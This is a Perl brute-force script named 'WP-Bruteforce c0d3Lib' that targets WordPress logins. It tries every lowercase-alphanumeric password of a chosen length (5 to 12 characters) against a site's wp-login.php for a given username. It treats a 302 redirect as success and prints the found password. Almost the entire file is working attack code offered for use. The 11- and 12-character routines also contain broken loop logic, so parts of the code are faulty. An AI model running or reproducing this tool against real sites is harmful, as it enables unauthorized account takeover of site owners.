#!/usr/bin/perl
     
    # WP-Bruteforce c0d3Lib
    # file : ne0bfwp.pl	
     
    use LWP::UserAgent;		

    $site = $ARGV[0];
    $user = $ARGV[1];		 
    if(@ARGV != 3){
    print "
	WP-Bruteforce c0d3Lib 
	file : ne0bfwp.pl
    How to use: $0 <site> <username> <alphabet digits>
    exe: $0 site.com admin [5 to 12 digits]";
    exit;
    }
     
    if ($site !~ /^http:\/\//){
    $site = 'http://' . $site;
    }
    if ($site !~ /\/wp-login.php/){
    $site = $site . '/wp-login.php';
    }
	
    my $ua = new LWP::UserAgent;

	my $aphabt = chr(97).chr(98).chr(99).chr(100).chr(101);
	$aphabt = $aphabt.chr(102).chr(103).chr(104).chr(105);
	$aphabt = $aphabt.chr(106).chr(107).chr(108).chr(109);
	$aphabt = $aphabt.chr(110).chr(111).chr(112).chr(113);
	$aphabt = $aphabt.chr(114).chr(115).chr(116).chr(117);
	$aphabt = $aphabt.chr(118).chr(119).chr(120).chr(121);
	$aphabt = $aphabt.chr(122).chr(48).chr(49).chr(50).chr(51).chr(52).chr(53).chr(54).chr(55).chr(56).chr(57);

	print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
    sleep(2);
	
	if($ARGV[2] == 5){
		&digitlima;
	}
	if($ARGV[2] == 6){
		&digitgenap;
	}
	if($ARGV[2] == 7){
		&digittujuh;
	}
	if($ARGV[2] == 8){
		&digitselapan;
	}
	if($ARGV[2] == 9){
		&digitsembilan;
	}
	if($ARGV[2] == 10){
		&digitsepuluh;
	}
	if($ARGV[2] == 11){
		&digitsebelasan;
	}
	if($ARGV[2] == 12){
		&digitduabelasan;
	}

	sub digitlima {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;						
							my $LPass = $c1.$c2.$c3.$c4.$c5;								
							my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
							my $code = $response->code;
							print "[+] Testing... $LPass\n";
							if($code == 302){
								print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
								exit;
							}				
						}
					}
				}
			}
		}
	}

	sub digitgenap {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;							
								my $LPass = $c1.$c2.$c3.$c4.$c5.$c6;
								my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
								my $code = $response->code;
								print "[+] Testing... $LPass\n";
								if($code == 302){
									print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
									exit;
								}							
							}		
						}
					}
				}
			}
		}
	}

	sub digittujuh {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;								
									my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7;
									my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
									my $code = $response->code;
									print "[+] Testing... $LPass\n";
									if($code == 302){
										print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
										exit;
									}								
								}
							}
						}
					}
				}
			}
		}
	}

	sub digitselapan {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;
									for (my $p = 0; $p < length($aphabt); $p++){
										my $c8  = substr $aphabt, $p, 1;
										my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8;
										my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
										my $code = $response->code;
										print "[+] Testing... $LPass\n";
										if($code == 302){
											print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
											exit;
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
	
	sub digitsembilan {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;
									for (my $p = 0; $p < length($aphabt); $p++){
										my $c8  = substr $aphabt, $p, 1;
										for (my $q = 0; $q < length($aphabt); $q++){
											my $c9  = substr $aphabt, $q, 1;
											my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9;
											my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
											my $code = $response->code;
											print "[+] Testing... $LPass\n";
											if($code == 302){
												print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
												exit;
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
	
	sub digitsepuluh {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;
									for (my $p = 0; $p < length($aphabt); $p++){
										my $c8  = substr $aphabt, $p, 1;
										for (my $q = 0; $q < length($aphabt); $q++){
											my $c9  = substr $aphabt, $q, 1;
											for (my $r = 0; $r < length($aphabt); $r++){
												my $c10  = substr $aphabt, $r, 1;
												my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10;
												my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
												my $code = $response->code;
												print "[+] Testing... $LPass\n";
												if($code == 302){
													print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
													exit;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}

	sub digitsebelasan {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;
									for (my $p = 0; $p < length($aphabt); $p++){
										my $c8  = substr $aphabt, $p, 1;
										for (my $q = 0; $q < length($aphabt); $q++){
											my $c9  = substr $aphabt, $q, 1;
											for (my $r = 0; $r < length($aphabt); $r++){
												my $c10  = substr $aphabt, $r, 1;
												for (my $s = 0; $r < length($aphabt); $r++){
													my $c11  = substr $aphabt, $r, 1;
													my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10.$c11;
													my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
													my $code = $response->code;
													print "[+] Testing... $LPass\n";
													if($code == 302){
														print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
														exit;
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}

	sub digitduabelasan {
		for (my $i = 0; $i < length($aphabt); $i++){
			my $c1  = substr $aphabt, $i, 1;
			for (my $j = 0; $j < length($aphabt); $j++){
				my $c2  = substr $aphabt, $j, 1;
				for (my $k = 0; $k < length($aphabt); $k++){
					my $c3  = substr $aphabt, $k, 1;
					for (my $l = 0; $l < length($aphabt); $l++){
						my $c4  = substr $aphabt, $l, 1;
						for (my $m = 0; $m < length($aphabt); $m++){
							my $c5  = substr $aphabt, $m, 1;					
							for (my $n = 0; $n < length($aphabt); $n++){
								my $c6  = substr $aphabt, $n, 1;
								for (my $o = 0; $o < length($aphabt); $o++){
									my $c7  = substr $aphabt, $o, 1;
									for (my $p = 0; $p < length($aphabt); $p++){
										my $c8  = substr $aphabt, $p, 1;
										for (my $q = 0; $q < length($aphabt); $q++){
											my $c9  = substr $aphabt, $q, 1;
											for (my $r = 0; $r < length($aphabt); $r++){
												my $c10  = substr $aphabt, $r, 1;
												for (my $s = 0; $r < length($aphabt); $r++){
													my $c11  = substr $aphabt, $r, 1;
													for (my $s = 0; $r < length($aphabt); $r++){
														my $c12  = substr $aphabt, $r, 1;
														my $LPass = $c1.$c2.$c3.$c4.$c5.$c6.$c7.$c8.$c9.$c10.$c11.$c12;
														my $response = $ua->post($site,{ log => $user, pwd => $LPass, wp-submit => 'Log in',});
														my $code = $response->code;
														print "[+] Testing... $LPass\n";
														if($code == 302){
															print "\n\n\t[*] PASSWORD IS: $LPass\n\n";
															exit;
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
	exit;